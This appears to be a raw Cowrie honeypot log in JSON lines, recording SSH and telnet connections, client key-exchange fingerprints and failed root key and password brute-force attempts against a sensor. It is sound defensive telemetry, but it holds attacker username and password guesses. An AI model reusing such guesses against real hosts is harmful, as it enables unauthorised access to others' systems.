{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.235330Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:ba:95:e2:43:65:70:28:7b:24:15:3d:c0:47:2e:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0dW5a9ysv41b2blcY78QGlGDynx2ZlDAZ25pbBW4huRfhCvHxHb+D5FN+m90HeRiu2+RXMlfX8LZDQ7f202j5e9u+oHr/WtKfy+hhRWD5Pu/HcaKVo8qxej2pIPsVw3XgkhNDZPtkqJYqqaKZZB/MCQtlMfeb0KWsvuU26544y8RPniU2EYIidh69vm/e+DzGJ/jxxVnLpKjaUs6ZOGJIdnbqB+9CysjRwy1EkbKVEAKRnURf62b0qDXWcQEtW4SqN27ItJgMEL63kKVLezvX9vxq7/v6XjLTfSvaTgEYQgesw3LvgPUGE4hGOHJrcc50RXaC+dJhXcxsq8nlgCgZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:ba:95:e2:43:65:70:28:7b:24:15:3d:c0:47:2e:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.686688Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:ba:95:e2:43:65:70:28:7b:24:15:3d:c0:47:2e:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0dW5a9ysv41b2blcY78QGlGDynx2ZlDAZ25pbBW4huRfhCvHxHb+D5FN+m90HeRiu2+RXMlfX8LZDQ7f202j5e9u+oHr/WtKfy+hhRWD5Pu/HcaKVo8qxej2pIPsVw3XgkhNDZPtkqJYqqaKZZB/MCQtlMfeb0KWsvuU26544y8RPniU2EYIidh69vm/e+DzGJ/jxxVnLpKjaUs6ZOGJIdnbqB+9CysjRwy1EkbKVEAKRnURf62b0qDXWcQEtW4SqN27ItJgMEL63kKVLezvX9vxq7/v6XjLTfSvaTgEYQgesw3LvgPUGE4hGOHJrcc50RXaC+dJhXcxsq8nlgCgZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.690041Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN+G5LpLu29Fw/l/4xuk6RmTfMTqWBjOY1GdioGsD8In53DAUxzZoSK7j3/wi+zH+JxtGDZ2w5yv02RuUfN0uHP+nQ03HGxTY0d34ErbhrISgqX3PuWCQVE+GNhptA3PtADZTw6coKr+csy9zGN9onUsGhKTM61Gv/OY+jlEKshmyBtGMVpTWV4ajDYblZMy9YgRcIyyoZwklML8VukmmG2q0RnwImtLQrSP5WAwYuijZTP7OM0vxkbGXWPdoU94zrL1jZMw5XA4zSDD7x4Yb0//DC/uxbJP6z3Ju2yHDtNJxZKVaRSiGOXl/rT9H+bvccnqoI78tvlrOKQVNpBD3t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.780937Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:9f:b4:e5:81:2e:e6:f1:52:a7:58:1d:fc:04:12:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN+G5LpLu29Fw/l/4xuk6RmTfMTqWBjOY1GdioGsD8In53DAUxzZoSK7j3/wi+zH+JxtGDZ2w5yv02RuUfN0uHP+nQ03HGxTY0d34ErbhrISgqX3PuWCQVE+GNhptA3PtADZTw6coKr+csy9zGN9onUsGhKTM61Gv/OY+jlEKshmyBtGMVpTWV4ajDYblZMy9YgRcIyyoZwklML8VukmmG2q0RnwImtLQrSP5WAwYuijZTP7OM0vxkbGXWPdoU94zrL1jZMw5XA4zSDD7x4Yb0//DC/uxbJP6z3Ju2yHDtNJxZKVaRSiGOXl/rT9H+bvccnqoI78tvlrOKQVNpBD3t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.785263Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:6c:8c:d4:a5:df:db:e7:a0:0f:9a:26:f9:a3:f9:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq5lx8sEqiYf7ZS+KzW777ZfxcVu/wnN73/+OGjHbE5QuguoNN98idOGr53CaFmnN79Sm2pND/IRxIzxePdh/6JBR2IwWNdDYZOx7fPWMqQkoJZqsT3dFir5UEyRYyCyfwOTByEAuNIMKp1sv2zZGXTe/i67nm7xjy9WQKVaLTU3zgQzffm65J0ByTBFjZFjjWTg/wcCY3lagYkZc1rr/OIzehQz3cwQRaPETIMlFN1BCsZF3AOJtQ7MlNjMEosnLVG2wKceA5uUZ3Ek6HlJRQL8siZhnkxSYj2cnkON/lQXzH3e6iC47TxFw6kWo6f01ZTrtGajSq3uaON/OV3egYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:6c:8c:d4:a5:df:db:e7:a0:0f:9a:26:f9:a3:f9:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.881296Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:6c:8c:d4:a5:df:db:e7:a0:0f:9a:26:f9:a3:f9:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq5lx8sEqiYf7ZS+KzW777ZfxcVu/wnN73/+OGjHbE5QuguoNN98idOGr53CaFmnN79Sm2pND/IRxIzxePdh/6JBR2IwWNdDYZOx7fPWMqQkoJZqsT3dFir5UEyRYyCyfwOTByEAuNIMKp1sv2zZGXTe/i67nm7xjy9WQKVaLTU3zgQzffm65J0ByTBFjZFjjWTg/wcCY3lagYkZc1rr/OIzehQz3cwQRaPETIMlFN1BCsZF3AOJtQ7MlNjMEosnLVG2wKceA5uUZ3Ek6HlJRQL8siZhnkxSYj2cnkON/lQXzH3e6iC47TxFw6kWo6f01ZTrtGajSq3uaON/OV3egYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.885131Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:9c:30:21:25:17:45:f4:d6:a1:6b:af:f7:1a:8e:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz9LKCnjT4dPQCMEvuyVOMW5V6J6lCbcx9NGBJd6aHgz4hrEKvHk/wWC4panaAXrN5rRKQYCqZF8exEDZXDSKC1SICIekjTRrNkj7nL3hqtN1Or9Ir8qMEEYKucG/M9BqRSdYL0+0jh8KP+uf+lWBNKTlvilhc/ChCz9qvJYtSitrFDrIgg8Fyn+qGCpGhuPKOQNqA7JZRqiY6aXs/dy42057ND8JIXLrFYTRi1oSvYdTO0DQNoSOh+qhVQiFMLQA2H8P2fws8Pb3eHKhVY6GwcgP7TLY7/3xEA1zpIZ/rhHFFf5VY/xAz7Vf5OTySL+kop934w7/bdnsrgEVVMe6n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:9c:30:21:25:17:45:f4:d6:a1:6b:af:f7:1a:8e:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.980376Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:9c:30:21:25:17:45:f4:d6:a1:6b:af:f7:1a:8e:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz9LKCnjT4dPQCMEvuyVOMW5V6J6lCbcx9NGBJd6aHgz4hrEKvHk/wWC4panaAXrN5rRKQYCqZF8exEDZXDSKC1SICIekjTRrNkj7nL3hqtN1Or9Ir8qMEEYKucG/M9BqRSdYL0+0jh8KP+uf+lWBNKTlvilhc/ChCz9qvJYtSitrFDrIgg8Fyn+qGCpGhuPKOQNqA7JZRqiY6aXs/dy42057ND8JIXLrFYTRi1oSvYdTO0DQNoSOh+qhVQiFMLQA2H8P2fws8Pb3eHKhVY6GwcgP7TLY7/3xEA1zpIZ/rhHFFf5VY/xAz7Vf5OTySL+kop934w7/bdnsrgEVVMe6n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:50:59.983748Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs6DEPFNovd1UaYIvDc24osvZWjPsLkxWD7hzwpknaRTnI2FeK9Qe0WN5gsbDJsYj0fpOCIEwhgNSmPjfrJKG9xKUEhfsm1+Y3NB8iFLdC232zNS228xeMz9QSHJPXrzM5a+Ilgg3954aiH49cpxS5Cckd+bvmignx3aK3ulZ7W766p+sq+tMrvPkCQ781WQjOeC2lAcJm5bcK+Y46oGQ09Te5ieau1I1b8Cy7HvSt4L3alI6hwM/0pZRFtaALd7NkPWDLiiDCMwFQ+LcGk/vE1ZdvjL+L5S0VID/veTV3dxNlQGCYDyrRBIwOo5JIF+BStAUo3fwsqdn5gihGIogx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:00.075010Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:66:7f:d9:59:7e:ca:56:3a:74:18:9a:1f:3d:e8:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs6DEPFNovd1UaYIvDc24osvZWjPsLkxWD7hzwpknaRTnI2FeK9Qe0WN5gsbDJsYj0fpOCIEwhgNSmPjfrJKG9xKUEhfsm1+Y3NB8iFLdC232zNS228xeMz9QSHJPXrzM5a+Ilgg3954aiH49cpxS5Cckd+bvmignx3aK3ulZ7W766p+sq+tMrvPkCQ781WQjOeC2lAcJm5bcK+Y46oGQ09Te5ieau1I1b8Cy7HvSt4L3alI6hwM/0pZRFtaALd7NkPWDLiiDCMwFQ+LcGk/vE1ZdvjL+L5S0VID/veTV3dxNlQGCYDyrRBIwOo5JIF+BStAUo3fwsqdn5gihGIogx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:00.089608Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:00.184039Z","src_ip":"78.47.4.5","session":"a5a020576687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8511,"dst_ip":"159.203.135.109","dst_port":22,"session":"716685879b8b","protocol":"ssh","message":"New connection: 2.57.121.112:8511 (159.203.135.109:22) [session: 716685879b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:01.727753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:01.732999Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:01.834780Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050789","message":"login attempt [admin/050789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:02.313609Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050685","message":"login attempt [admin/050685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:03.418284Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050676","message":"login attempt [admin/050676] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:04.523283Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.49724841117859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:05.275154Z","src_ip":"50.62.181.92","session":"906cd85a42b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05061972","message":"login attempt [admin/05061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:05.627342Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050595","message":"login attempt [admin/050595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:06.732448Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:07.837242Z","src_ip":"2.57.121.112","session":"716685879b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.50524067878723,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:12.692454Z","src_ip":"69.4.83.194","session":"590b261a4297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":48970,"dst_ip":"159.203.135.109","dst_port":22,"session":"18caedd1cbd2","protocol":"ssh","message":"New connection: 182.18.161.165:48970 (159.203.135.109:22) [session: 18caedd1cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:17.344425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:17.348755Z","src_ip":"182.18.161.165","session":"18caedd1cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:17.558132Z","src_ip":"182.18.161.165","session":"18caedd1cbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yy","password":"yy","message":"login attempt [yy/yy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:18.419573Z","src_ip":"182.18.161.165","session":"18caedd1cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:19.629391Z","src_ip":"182.18.161.165","session":"18caedd1cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":38722,"dst_ip":"159.203.135.109","dst_port":22,"session":"39bc53bdc520","protocol":"ssh","message":"New connection: 213.183.120.56:38722 (159.203.135.109:22) [session: 39bc53bdc520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:29.001408Z"}
{"eventid":"cowrie.session.closed","duration":34.93500590324402,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:30.350841Z","src_ip":"69.4.83.194","session":"4753535971da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.086387395858765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:31.533901Z","src_ip":"69.4.83.194","session":"ddf4bf5a5eb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":59480,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea35579b0532","protocol":"ssh","message":"New connection: 4.194.4.255:59480 (159.203.135.109:22) [session: ea35579b0532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:54.167285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:54.170635Z","src_ip":"4.194.4.255","session":"ea35579b0532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:54.408187Z","src_ip":"4.194.4.255","session":"ea35579b0532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"1","message":"login attempt [ts/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:55.388662Z","src_ip":"4.194.4.255","session":"ea35579b0532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:51:56.630548Z","src_ip":"4.194.4.255","session":"ea35579b0532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:03.872898Z","src_ip":"213.183.120.56","session":"216d2fe22815","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":54288,"dst_ip":"159.203.135.109","dst_port":22,"session":"03bdfaeaed49","protocol":"ssh","message":"New connection: 27.50.25.190:54288 (159.203.135.109:22) [session: 03bdfaeaed49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:04.636630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:52:04.641882Z","src_ip":"27.50.25.190","session":"03bdfaeaed49","protocol":"ssh"}
